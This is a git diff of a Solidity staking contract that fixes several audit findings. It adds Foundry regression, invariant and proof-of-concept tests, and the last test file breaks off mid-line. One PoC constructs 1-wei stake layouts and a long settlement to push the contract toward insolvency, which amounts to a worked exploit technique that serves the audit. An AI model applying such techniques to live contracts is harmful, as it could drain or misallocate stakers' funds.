diff --git a/src/StakeEngine.sol b/src/StakeEngine.sol index ee234d9..b8572d0 100644 --- a/src/StakeEngine.sol +++ b/src/StakeEngine.sol @@ -324,25 +324,27 @@ contract StakeEngine is GovernedUpgradeable { PostState storage ps = posts[postId]; SideQueue storage q = ps.sides[side]; uint256 removed = 0; - uint256 i = q.lots.length; - while (i > 0) { - i--; - if (q.lots[i].amount == 0) { - address ghostStaker = q.lots[i].staker; - if (i == q.lots.length - 1) { - _setLotIndex(ps, ghostStaker, side, 0); - q.lots.pop(); - } else { - uint256 lastIdx = q.lots.length - 1; - StakeLot storage lastLot = q.lots[lastIdx]; - address lastStaker = lastLot.staker; - q.lots[i] = lastLot; - _setLotIndex(ps, lastStaker, side, i + 1); - _setLotIndex(ps, ghostStaker, side, 0); - q.lots.pop(); - } + // S-08 FIX: single forward read/write compaction pass instead of reverse + // swap-and-pop, so survivors keep arrival order. Swap-and-pop moved the + // LAST staker into the ghost's slot, promoting them at another honest + // staker's expense. + uint256 write = 0; + uint256 len = q.lots.length; + for (uint256 read = 0; read < len; read++) { + StakeLot storage src = q.lots[read]; + if (src.amount == 0) { + _setLotIndex(ps, src.staker, side, 0); removed++; + continue; + } + if (write != read) { + q.lots[write] = src; } + _setLotIndex(ps, q.lots[write].staker, side, write + 1); + write++; + } + for (uint256 k = 0; k < removed; k++) { + q.lots.pop(); } if (removed == 0) { revert NoGhostLots(); @@ -813,7 +815,10 @@ contract StakeEngine is GovernedUpgradeable { bool supportWins = vsNum > 0; uint256 absVS = uint256(vsNum > 0 ? vsNum : -vsNum); uint256 epochsElapsed = currentEpoch - ps.lastSnapshotEpoch; - uint256 projSMax = _projectSMaxDecay(currentEpoch); + // S-10 FIX: settlement (_forceSnapshot) divides by the RAW sMax, so the + // view must too, otherwise V.8 (view == materialised) breaks whenever + // topPosts is empty and the decay fallback is live. + uint256 projSMax = sMax; if (projSMax == 0) { return (A, D); } @@ -884,7 +889,8 @@ contract StakeEngine is GovernedUpgradeable { bool aligned = (supportWins && isSupportSide) || (!supportWins && !isSupportSide); uint256 absVS = uint256(vsNum > 0 ? vsNum : -vsNum); uint256 epochsElapsed = currentEpoch - ps.lastSnapshotEpoch; - uint256 projSMax = _projectSMaxDecay(currentEpoch); + // S-10 FIX (second site): same reasoning as _projectTotals. + uint256 projSMax = sMax; if (projSMax == 0) { return lot.amount; } @@ -1192,7 +1198,33 @@ contract StakeEngine is GovernedUpgradeable { uint256 idx = _getLotIndex(ps, user, side); if (idx != 0) { - q.lots[idx - 1].amount += amount; // existing ranked staker + if (q.lots[idx - 1].amount == 0) { + // S-02 FIX v2: remove the ghost from the array (shift-compact, + // preserving arrival order) before re-entering, so one address can + // never hold both a ghost entry and a live entry. + uint256 gIdx = idx - 1; + uint256 lastG = q.lots.length - 1; + for (uint256 i = gIdx; i < lastG; i++) { + q.lots[i] = q.lots[i + 1]; + _setLotIndex(ps, q.lots[i].staker, side, i + 1); + } + q.lots.pop(); + _setLotIndex(ps, user, side, 0); + + if (q.lots.length < MAX_RANKED_LOTS) { + _pushRankedLot(ps, q, side, user, amount); + } else { + uint256 sIdxG = _smallestRankedIndex(q); + if (amount > q.lots[sIdxG].amount) { + _demoteRankedToBucket(postId, ps, q, side, sIdxG); + _pushRankedLot(ps, q, side, user, amount); + } else { + _bucketAdd(ps, q, side, user, amount); + } + } + } else { + q.lots[idx - 1].amount += amount; // existing ranked staker + } } else if (_getBucketShares(ps, user, side) != 0) { _bucketAdd(ps, q, side, user, amount); // existing bucket member (may promote via _rebalance) } else if (q.lots.length < MAX_RANKED_LOTS) { diff --git a/test/FixAdversarialPoC.t.sol b/test/FixAdversarialPoC.t.sol new file mode 100644 index 0000000..57ff8bf --- /dev/null +++ b/test/FixAdversarialPoC.t.sol @@ -0,0 +1,270 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// ADVERSARIAL REGRESSION SUITE for the S-08 and S-10 fixes. +/// +/// Motivation: the S-02 v1 fix looked correct and kept the 242-test baseline +/// green, yet orphaned 500e18 through a single admin path (compactLots). These +/// tests apply the same class of attack to the other two "verified" fixes: +/// - exercise EVERY path that touches the same state +/// - always end with a full exit and a solvency assertion +/// - hit index/edge cases the happy-path tests skip +contract FixAdversarialPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant POST = 1; + uint256 constant C = 100; + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(POST, side, amt); + } + + function _solvent() internal view returns (bool) { + (uint256 s, uint256 c) = eng.getPostTotals(POST); + return vsp.balanceOf(address(eng)) >= s + c; + } + + // ───────────────────────────────────────────────────────────── + // S-08 fix: shift-compaction. Index bookkeeping is the risk. + // ───────────────────────────────────────────────────────────── + + /// Ghost at index 0 (the first slot) — the shift loop's boundary case. + function test_S08_GhostAtIndexZero_AllSurvive() public { + _fresh(); + address a = address(0xA1); + address b = address(0xB2); + address c = address(0xC3); + _stake(a, 0, 100e18); + _stake(b, 0, 100e18); + _stake(c, 0, 100e18); + vm.prank(a); + eng.withdraw(POST, 0, 100e18, true); // ghost at slot 0 + + eng.compactLots(POST, 0); + + assertEq(eng.getUserStake(b, POST, 0), 100e18, "B lost funds"); + assertEq(eng.getUserStake(c, POST, 0), 100e18, "C lost funds"); + // both must still be able to exit + vm.prank(b); + eng.withdraw(POST, 0, 100e18, true); + vm.prank(c); + eng.withdraw(POST, 0, 100e18, true); + assertEq(vsp.balanceOf(b), 100e18, "B exit shortfall"); + assertEq(vsp.balanceOf(c), 100e18, "C exit shortfall"); + assertTrue(_solvent(), "insolvent after compact+exit"); + } + + /// Ghost at the LAST index. + function test_S08_GhostAtLastIndex_AllSurvive() public { + _fresh(); + address a = address(0xA1); + address b = address(0xB2); + address c = address(0xC3); + _stake(a, 0, 100e18); + _stake(b, 0, 100e18); + _stake(c, 0, 100e18); + vm.prank(c); + eng.withdraw(POST, 0, 100e18, true); // ghost at the tail + + eng.compactLots(POST, 0); + assertEq(eng.getUserStake(a, POST, 0), 100e18, "A lost funds"); + assertEq(eng.getUserStake(b, POST, 0), 100e18, "B lost funds"); + vm.prank(a); + eng.withdraw(POST, 0, 100e18, true); + vm.prank(b); + eng.withdraw(POST, 0, 100e18, true); + assertTrue(_solvent(), "insolvent"); + } + + /// MULTIPLE adjacent ghosts — the pop-count arithmetic is the risk. + function test_S08_ManyGhostsInterleaved_AllSurvive() public { + _fresh(); + address[8] memory who = [ + address(0xA1), + address(0xA2), + address(0xA3), + address(0xA4), + address(0xA5), + address(0xA6), + address(0xA7), + address(0xA8) + ]; + for (uint256 i = 0; i < who.length; i++) { + _stake(who[i], 0, 100e18); + } + // ghost out indices 0,1,4,7 (adjacent pair + isolated + tail) + uint256[4] memory kill = [uint256(0), 1, 4, 7]; + for (uint256 k = 0; k < kill.length; k++) { + vm.prank(who[kill[k]]); + eng.withdraw(POST, 0, 100e18, true); + } + + eng.compactLots(POST, 0); + + // survivors: 2,3,5,6 + uint256[4] memory live = [uint256(2), 3, 5, 6]; + for (uint256 j = 0; j < live.length; j++) { + assertEq(eng.getUserStake(who[live[j]], POST, 0), 100e18, "survivor lost funds"); + vm.prank(who[live[j]]); + eng.withdraw(POST, 0, 100e18, true); + assertEq(vsp.balanceOf(who[live[j]]), 100e18, "survivor exit shortfall"); + } + assertTrue(_solvent(), "insolvent after multi-ghost compact"); + } + + /// ALL lots are ghosts — array must empty cleanly, no underflow. + function test_S08_AllGhosts_NoUnderflow() public { + _fresh(); + address a = address(0xA1); + address b = address(0xB2); + _stake(a, 0, 100e18); + _stake(b, 0, 100e18); + vm.prank(a); + eng.withdraw(POST, 0, 100e18, true); + vm.prank(b); + eng.withdraw(POST, 0, 100e18, true); + + eng.compactLots(POST, 0); + (uint256 s,) = eng.getPostTotals(POST); + emit log_named_uint("side total after all-ghost compact", s); + assertTrue(_solvent(), "insolvent"); + + // a fresh staker must still work afterwards + _stake(address(0xD4), 0, 50e18); + assertEq(eng.getUserStake(address(0xD4), POST, 0), 50e18, "post-compact staking broken"); + } + + /// Compact then RESTAKE by a compacted address — index must be reusable. + function test_S08_CompactThenRestake() public { + _fresh(); + address a = address(0xA1); + _stake(a, 0, 100e18); + _stake(address(0xB2), 0, 100e18); + vm.prank(a); + eng.withdraw(POST, 0, 100e18, true); + eng.compactLots(POST, 0); + + _stake(a, 0, 300e18); + assertEq(eng.getUserStake(a, POST, 0), 300e18, "restake after compact broken"); + vm.prank(a); + eng.withdraw(POST, 0, 300e18, true); + assertEq(vsp.balanceOf(a), 400e18, "exit after compact+restake shortfall"); + assertTrue(_solvent(), "insolvent"); + } + + /// Compaction while a BUCKET is active (ranked full) — the S-02 v1 lesson was + /// that admin paths interact badly with the bucket. + function test_S08_CompactWithActiveBucket() public { + _fresh(); + for (uint256 i = 0; i < C; i++) { + _stake(address(uint160(0x100000 + i)), 0, 10e18); + } + address bm = address(0x3001); + _stake(bm, 0, 5e18); // bucket member + // ghost one ranked lot + vm.prank(address(uint160(0x100000))); + eng.withdraw(POST, 0, 10e18, true); + + // With a bucket active, _rebalance promotes the bucket member into the + // freed slot, so no ghost remains and compactLots correctly reverts. + try eng.compactLots(POST, 0) { + emit log("compactLots ran"); + } catch { + emit log("compactLots reverted NoGhostLots: _rebalance already promoted, no ghost left"); + } + + emit log_named_uint("bucket member stake after", eng.getUserStake(bm, POST, 0)); + assertEq(eng.getUserStake(bm, POST, 0), 5e18, "bucket member lost funds"); + vm.prank(bm); + eng.withdraw(POST, 0, 5e18, true); + assertEq(vsp.balanceOf(bm), 5e18, "bucket exit shortfall"); + assertTrue(_solvent(), "insolvent with active bucket"); + } + + // ───────────────────────────────────────────────────────────── + // S-10 fix: view now uses raw sMax. Risk is a wrong view, or a + // divide-by-zero / stale read in a state the happy path skips. + // ───────────────────────────────────────────────────────────── + + /// sMax == 0 edge: no stake anywhere. The view must not revert. + function test_S10_ViewOnVirginPost_NoRevert() public { + _fresh(); + (uint256 s, uint256 c) = eng.getPostTotals(999); + assertEq(s + c, 0, "virgin post should read zero"); + assertEq(eng.getUserStake(address(0xDEAD), 999, 0), 0, "virgin user should read zero"); + } + + /// View must stay consistent with materialised across MANY settlements, + /// including after the decoy-unwind state that produced the original gap. + function test_S10_ViewMatchesAcrossRepeatedSettlements() public { + _fresh(); + _stake(address(0xD1), 0, 300e18); + _stake(address(0xA1), 0, 100e18); + _stake(address(0xBEEF), 1, 10e18); + vm.prank(address(0xD1)); + eng.withdraw(POST, 0, 300e18, true); + + for (uint256 r = 0; r < 8; r++) { + vm.warp(block.timestamp + 45 days); + (uint256 vS, uint256 vC) = eng.getPostTotals(POST); + eng.updatePost(POST); + (uint256 mS, uint256 mC) = eng.getPostTotals(POST); + assertEq(vS, mS, "view != materialised (support)"); + assertEq(vC, mC, "view != materialised (challenge)"); + assertTrue(_solvent(), "insolvent"); + } + emit log("view == materialised exactly, 8 rounds x 45 days"); + } + + /// getUserStake (the second patched site) must agree with what a withdrawal + /// actually pays out. A wrong view here would mislead every integrator. + function test_S10_UserStakeViewMatchesActualPayout() public { + _fresh(); + address u = address(0xA1); + _stake(u, 0, 100e18); + _stake(address(0xBEEF), 1, 10e18); + + vm.warp(block.timestamp + 90 days); + eng.updatePost(POST); + + uint256 quoted = eng.getUserStake(u, POST, 0); + vm.prank(u); + eng.withdraw(POST, 0, quoted, true); + uint256 paid = vsp.balanceOf(u); + + emit log_named_uint("view quoted", quoted); + emit log_named_uint("actually paid", paid); + assertEq(paid, quoted, "S-10: quoted stake != amount paid on withdrawal"); + assertTrue(_solvent(), "insolvent after quoted-exact withdrawal"); + } +} diff --git a/test/RowISetStakePoC.t.sol b/test/RowISetStakePoC.t.sol new file mode 100644 index 0000000..0bf4cda --- /dev/null +++ b/test/RowISetStakePoC.t.sol @@ -0,0 +1,161 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// ROW I — `setStake()` multi-leg flow. +/// +/// setStake is the only entry point that can FLIP a user between sides. It does +/// so by calling _doWithdraw on the old side and then _increaseUser on the new +/// one (lines 532-556), each of which re-enters the position machinery. Two +/// concrete risks worth testing rather than asserting: +/// +/// R1: I.5 bypass. `stake()` reverts with OppositeSideStaked, but setStake +/// flips deliberately. If the old-side clear ever leaves residue (bucket +/// rounding, ghost lot), the user ends up holding BOTH sides. +/// R2: conservation. Each leg does an external transfer interleaved with state +/// mutation. Net token movement must equal the net position change. +contract RowISetStakePoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant POST = 1; + uint256 constant C = 100; + + address alice = address(0xA11CE); + + function setUp() public { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _fund(address who, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + function _bothSides(address who) internal view returns (uint256 sup, uint256 chal) { + sup = eng.getUserStake(who, POST, 0); + chal = eng.getUserStake(who, POST, 1); + } + + /// R1 fuzz: random flip sequences must never leave a user on both sides. + function testFuzz_I5_NeverBothSidesAfterFlips(int256 t1, int256 t2, int256 t3, uint16 warpDays) public { + int256 CAP = 1_000_000e18; + t1 = t1 % CAP; + t2 = t2 % CAP; + t3 = t3 % CAP; + uint256 d = uint256(warpDays) % 400; + + _fund(alice, 5_000_000e18); + // give the post an opponent so settlement does something + _fund(address(0xBEEF), 1000e18); + vm.prank(address(0xBEEF)); + eng.stake(POST, 0, 1000e18); + + int256[3] memory targets = [t1, t2, t3]; + for (uint256 i = 0; i < 3; i++) { + vm.prank(alice); + eng.setStake(POST, targets[i]); + + (uint256 sup, uint256 chal) = _bothSides(alice); + assertFalse(sup > 0 && chal > 0, "I.5 VIOLATED: alice holds both sides after setStake"); + + if (d > 0) { + vm.warp(block.timestamp + d * 1 days); + eng.updatePost(POST); + (sup, chal) = _bothSides(alice); + assertFalse(sup > 0 && chal > 0, "I.5 VIOLATED after settlement"); + } + } + + // solvency must hold through all of it + (uint256 s, uint256 c) = eng.getPostTotals(POST); + assertGe(vsp.balanceOf(address(eng)), s + c, "solvency broken by setStake flips"); + } + + /// R1 targeted: flip from a BUCKET position, where rounding is most likely to + /// leave residue. Fill ranked first so alice lands in the bucket. + function test_I5_FlipFromBucketPosition() public { + for (uint256 i = 0; i < C; i++) { + _fund(address(uint160(0x100000 + i)), 10e18); + vm.prank(address(uint160(0x100000 + i))); + eng.stake(POST, 1, 10e18); // challenge side ranked + } + _fund(alice, 100e18); + vm.prank(alice); + eng.setStake(POST, -5e18); // small challenge -> bucket + + (uint256 sup0, uint256 chal0) = _bothSides(alice); + emit log_named_uint("alice support before flip", sup0); + emit log_named_uint("alice challenge before flip (bucket)", chal0); + + // settle so bucketIndexRay moves off RAY + _fund(address(0xBEEF), 1e18); + vm.prank(address(0xBEEF)); + eng.stake(POST, 0, 1e18); + vm.warp(block.timestamp + 120 days); + eng.updatePost(POST); + + uint256 chalMid = eng.getUserStake(alice, POST, 1); + emit log_named_uint("alice challenge after settle", chalMid); + + // now flip to support + vm.prank(alice); + eng.setStake(POST, 7e18); + + (uint256 sup1, uint256 chal1) = _bothSides(alice); + emit log_named_uint("alice support after flip", sup1); + emit log_named_uint("alice challenge after flip (must be 0)", chal1); + + assertEq(chal1, 0, "I.5: residue left on the old side after a bucket flip"); + (uint256 s, uint256 c) = eng.getPostTotals(POST); + assertGe(vsp.balanceOf(address(eng)), s + c, "solvency after bucket flip"); + } + + /// R2: net token movement equals net position change across a flip. + function test_R2_ConservationAcrossFlip() public { + _fund(alice, 1000e18); + _fund(address(0xBEEF), 500e18); + vm.prank(address(0xBEEF)); + eng.stake(POST, 0, 500e18); + + uint256 walletBefore = vsp.balanceOf(alice); + + vm.prank(alice); + eng.setStake(POST, -200e18); // 200 challenge + vm.prank(alice); + eng.setStake(POST, 150e18); // flip to 150 support + + (uint256 sup, uint256 chal) = _bothSides(alice); + uint256 walletAfter = vsp.balanceOf(alice); + + emit log_named_uint("wallet before", walletBefore); + emit log_named_uint("wallet after", walletAfter); + emit log_named_uint("position support", sup); + emit log_named_uint("position challenge", chal); + emit log_named_uint("wallet spent", walletBefore - walletAfter); + + assertEq(chal, 0, "old side not cleared"); + assertEq(walletBefore - walletAfter, sup, "R2: tokens moved != position held"); + } +} diff --git a/test/RowYInvariantsPoC.t.sol b/test/RowYInvariantsPoC.t.sol new file mode 100644 index 0000000..81eb473 --- /dev/null +++ b/test/RowYInvariantsPoC.t.sol @@ -0,0 +1,251 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// ROW Y — direct tests of the invariants stated in ECONOMIC_INVARIANTS.md. +/// Every test here is derived from a quoted line of that document, and runs +/// WITH epoch settlement (the gap their ProtocolInvariants suite leaves open, +/// since its handler has no warp action). +/// +/// All tests use the REAL deploy rate from script/Deploy.s.sol:86. +contract RowYInvariantsPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant RAY = 1e18; + uint256 constant C = 100; // MAX_RANKED_LOTS + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(post, side, amt); + } + + function _total(uint256 post) internal view returns (uint256) { + (uint256 s, uint256 c) = eng.getPostTotals(post); + return s + c; + } + + // ───────────────────────────────────────────────────────────── + // I.1 "VSP.balanceOf(StakeEngine) == TotalStakedAllPosts" + // Tested ACROSS SETTLEMENT, which their suite never does. + // ───────────────────────────────────────────────────────────── + function test_I1_SolvencyAcrossSettlement() public { + _fresh(); + uint256[3] memory postIds = [uint256(1), 2, 3]; + + // three posts, mixed sides, uneven sizes + _stake(address(0xA1), 1, 0, 500e18); + _stake(address(0xA2), 1, 1, 300e18); + _stake(address(0xB1), 2, 0, 120e18); + _stake(address(0xB2), 2, 1, 700e18); + _stake(address(0xC1), 3, 0, 90e18); + _stake(address(0xC2), 3, 1, 90e18); + + for (uint256 round = 0; round < 6; round++) { + vm.warp(block.timestamp + 17 days); + for (uint256 i = 0; i < postIds.length; i++) { + eng.updatePost(postIds[i]); + } + + uint256 sum; + for (uint256 i = 0; i < postIds.length; i++) { + sum += _total(postIds[i]); + } + uint256 bal = vsp.balanceOf(address(eng)); + emit log_named_uint("round", round); + emit log_named_uint(" sum of post totals", sum); + emit log_named_uint(" engine balance", bal); + assertGe(bal, sum, "I.1 VIOLATED: engine balance below sum of post totals"); + } + } + + // ───────────────────────────────────────────────────────────── + // I.2 "loss = min(delta, L.amount)" -> no lot underflows + // ───────────────────────────────────────────────────────────── + function test_I2_LimitedLiabilityUnderExtremeLoss() public { + _fresh(); + address small = address(0x5A11); + _stake(small, 1, 0, 1e18); + _stake(address(0xB16), 1, 1, 10_000_000e18); // MAX_STAKE_AMOUNT + + for (uint256 i = 0; i < 40; i++) { + vm.warp(block.timestamp + 30 days); + eng.updatePost(1); + uint256 pos = eng.getUserStake(small, 1, 0); + assertLe(pos, 1e18, "I.2: losing lot grew"); + } + emit log_named_uint("small lot after 40 x 30d of losing", eng.getUserStake(small, 1, 0)); + // withdrawal must still not revert or over-pay + uint256 remaining = eng.getUserStake(small, 1, 0); + if (remaining > 0) { + vm.prank(small); + eng.withdraw(1, 0, remaining, true); + assertEq(vsp.balanceOf(small), remaining, "I.2: payout != recorded position"); + } + } + + // ───────────────────────────────────────────────────────────── + // I.3 "If T == 0 then no minting or burning occurs" + // and VS == 0 must be economically neutral. + // ───────────────────────────────────────────────────────────── + function test_I3_NoMintOnNeutralOrEmpty() public { + _fresh(); + // empty post + uint256 supplyBefore = vsp.totalSupply(); + vm.warp(block.timestamp + 100 days); + eng.updatePost(99); + assertEq(vsp.totalSupply(), supplyBefore, "I.3: minted on an empty post"); + + // perfectly balanced post -> VS == 0 + _stake(address(0xE1), 5, 0, 250e18); + _stake(address(0xE2), 5, 1, 250e18); + uint256 s2 = vsp.totalSupply(); + uint256 t2 = _total(5); + vm.warp(block.timestamp + 60 days); + eng.updatePost(5); + emit log_named_uint("supply delta on balanced post", vsp.totalSupply() - s2); + emit log_named_uint("total delta on balanced post", _total(5) - t2); + assertEq(vsp.totalSupply(), s2, "I.3: minted on a VS-neutral post"); + } + + // ───────────────────────────────────────────────────────────── + // I.6 "After every snapshot, max(weightedPosition) < sideTotal" + // ───────────────────────────────────────────────────────────── + function test_I6_PositionsBoundedAfterSnapshot() public { + _fresh(); + for (uint256 i = 0; i < 12; i++) { + _stake(address(uint160(0x7000 + i)), 1, 0, (i + 1) * 10e18); + } + _stake(address(0xBEEF), 1, 1, 5e18); + + for (uint256 round = 0; round < 5; round++) { + vm.warp(block.timestamp + 25 days); + eng.updatePost(1); + (uint256 sideTotal,) = eng.getPostTotals(1); + for (uint256 i = 0; i < 12; i++) { + (uint256 amt, uint256 wPos,,,) = eng.getUserLotInfo(address(uint160(0x7000 + i)), 1, 0); + if (amt == 0) { + continue; + } + assertLt(wPos, sideTotal, "I.6 VIOLATED: weightedPosition >= sideTotal"); + } + } + emit log("I.6 held across 5 settlements"); + } + + // ───────────────────────────────────────────────────────────── + // I.7 "Ranked members still earn strictly more than bucket members" + // and "bucket members earn the same uniform rate regardless of + // arrival order within the bucket" + // ───────────────────────────────────────────────────────────── + function test_I7_RankedBeatsBucket_AndBucketIsUniform() public { + _fresh(); + // fill ranked with equal lots so the comparison is clean + for (uint256 i = 0; i < C; i++) { + _stake(address(uint160(0x100000 + i)), 1, 0, 10e18); + } + // three bucket members, equal size, different arrival order + address b1 = address(0x2001); + address b2 = address(0x2002); + address b3 = address(0x2003); + _stake(b1, 1, 0, 5e18); + _stake(b2, 1, 0, 5e18); + _stake(b3, 1, 0, 5e18); + + _stake(address(0xBEEF), 1, 1, 1); + + uint256 rankedBefore = eng.getUserStake(address(uint160(0x100000 + 50)), 1, 0); + vm.warp(block.timestamp + 30 days); + eng.updatePost(1); + + uint256 rankedGain = eng.getUserStake(address(uint160(0x100000 + 50)), 1, 0) - rankedBefore; + uint256 g1 = eng.getUserStake(b1, 1, 0) - 5e18; + uint256 g2 = eng.getUserStake(b2, 1, 0) - 5e18; + uint256 g3 = eng.getUserStake(b3, 1, 0) - 5e18; + + emit log_named_uint("ranked lot gain (on 10e18)", rankedGain); + emit log_named_uint("bucket b1 gain (on 5e18)", g1); + emit log_named_uint("bucket b2 gain (on 5e18)", g2); + emit log_named_uint("bucket b3 gain (on 5e18)", g3); + + // uniformity within the bucket + assertEq(g1, g2, "I.7: bucket members with equal size earn unequally (b1 vs b2)"); + assertEq(g2, g3, "I.7: bucket members with equal size earn unequally (b2 vs b3)"); + + // per-unit comparison: ranked must beat bucket + uint256 rankedPerUnit = rankedGain * RAY / 10e18; + uint256 bucketPerUnit = g1 * RAY / 5e18; + emit log_named_uint("ranked gain per unit (RAY)", rankedPerUnit); + emit log_named_uint("bucket gain per unit (RAY)", bucketPerUnit); + assertGt(rankedPerUnit, bucketPerUnit, "I.7 VIOLATED: bucket earns >= ranked per unit"); + } + + // ───────────────────────────────────────────────────────────── + // I.8 "sideTotal == rankedTotal + bucketLive" and a bucket + // withdrawal never over-draws the pool. + // ───────────────────────────────────────────────────────────── + function test_I8_BucketConservationAndNoOverdraw() public { + _fresh(); + for (uint256 i = 0; i < C; i++) { + _stake(address(uint160(0x100000 + i)), 1, 0, 10e18); + } + address[5] memory bm = [address(0x3001), address(0x3002), address(0x3003), address(0x3004), address(0x3005)]; + for (uint256 i = 0; i < bm.length; i++) { + _stake(bm[i], 1, 0, 5e18); + } + _stake(address(0xBEEF), 1, 1, 200e18); // support loses, exercises the burn path + + for (uint256 round = 0; round < 4; round++) { + vm.warp(block.timestamp + 40 days); + eng.updatePost(1); + + // every bucket member exits fully; must never be paid more than recorded + for (uint256 i = 0; i < bm.length; i++) { + uint256 rec = eng.getUserStake(bm[i], 1, 0); + if (rec == 0) { + continue; + } + uint256 balBefore = vsp.balanceOf(bm[i]); + vm.prank(bm[i]); + eng.withdraw(1, 0, rec, true); + uint256 paid = vsp.balanceOf(bm[i]) - balBefore; + assertLe(paid, rec, "I.8 VIOLATED: bucket withdrawal over-paid"); + // re-enter for the next round + if (paid > 0) { + vm.prank(bm[i]); + eng.stake(1, 0, paid); + } + } + // solvency must still hold after all that churn + assertGe(vsp.balanceOf(address(eng)), _total(1), "I.8/I.1 VIOLATED after bucket churn"); + emit log_named_uint("round ok, side total", _total(1)); + } + } +} diff --git a/test/S01BucketMajorityPoC.t.sol b/test/S01BucketMajorityPoC.t.sol new file mode 100644 index 0000000..3996d52 --- /dev/null +++ b/test/S01BucketMajorityPoC.t.sol @@ -0,0 +1,112 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-01 v4: make the BUCKET the majority of the losing side. +/// gRay = rBase * behind / T, behind = T - (rankedTotal + live/2). +/// With rankedTotal tiny and live ~= T: behind ~= T/2 -> gRay ~= rBase/2. +/// factor = RAY - gRay hits 0 once gRay >= RAY, i.e. rBase >= 2*RAY. +/// rBase <= rMax = 5e18 * epochsElapsed / 365 -> epochs >= 146. +contract S01BucketMajorityPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + uint256 constant POST = 42; + uint256 constant RAY = 1e18; + + function setUp() public { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, 5e18); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e30); + vsp.approve(address(eng), type(uint256).max); + } + + function _fund(address who, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + function test_S01_BucketMajority() public { + // 100 ranked lots of 1 wei -> rankedTotal = 100 wei (negligible) + for (uint256 i = 0; i < 100; i++) { + address r = address(uint160(0x100000 + i)); + _fund(r, 1); + vm.prank(r); + eng.stake(POST, 0, 1); + } + // 900 bucket members of 1 wei each (amount <= smallest ranked -> bucket) + for (uint256 i = 0; i < 900; i++) { + address b = address(uint160(0x200000 + i)); + _fund(b, 1); + vm.prank(b); + eng.stake(POST, 0, 1); + } + address victim = address(uint160(0x200000 + 500)); + + // Challenge dominates -> support is the losing side, vRay -> RAY + address ch = address(0xBEEF); + _fund(ch, 1_000_000e18); + vm.prank(ch); + eng.stake(POST, 1, 1_000_000e18); + + (uint256 s0, uint256 c0) = eng.getPostTotals(POST); + emit log_named_uint("support before", s0); + emit log_named_uint("challenge before", c0); + emit log_named_uint("victim before", eng.getUserStake(victim, POST, 0)); + + uint256 balBefore = vsp.balanceOf(address(eng)); + + // One settlement covering 250 epochs -> rBase ~= 3.4 * RAY + vm.warp(block.timestamp + 250 days); + eng.updatePost(POST); + + (uint256 s1, uint256 c1) = eng.getPostTotals(POST); + uint256 balAfter = vsp.balanceOf(address(eng)); + uint256 claims = s1 + c1; + uint256 victimAfter = eng.getUserStake(victim, POST, 0); + + emit log_named_uint("support after", s1); + emit log_named_uint("challenge after", c1); + emit log_named_uint("victim after", victimAfter); + emit log_named_uint("bal before", balBefore); + emit log_named_uint("bal after", balAfter); + emit log_named_uint("claims", claims); + + if (claims > balAfter) { + emit log_named_uint("DEFICIT", claims - balAfter); + } else { + emit log_named_uint("surplus", balAfter - 